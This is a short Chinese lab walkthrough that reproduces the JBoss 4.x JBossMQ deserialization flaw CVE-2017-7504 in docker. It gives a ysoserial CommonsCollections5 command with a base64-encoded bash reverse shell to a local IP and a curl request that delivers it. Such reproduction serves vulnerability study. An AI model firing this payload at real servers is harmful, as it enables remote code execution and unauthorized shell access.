JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞复现

启动环境

docker-compose up -d

 

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中，借助ysoserial的eCommonsCollections5利用链来复现。生成Payload：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

开启监听：

 

将poc.ser文件内容作为POST Body发送，这里使用curl

curl http://192.168.96.168:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

 

成功反dshell

参考：

• GitHub - joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC).
• https://www.youtube.com/watch?v=jVMr4eeJ2Po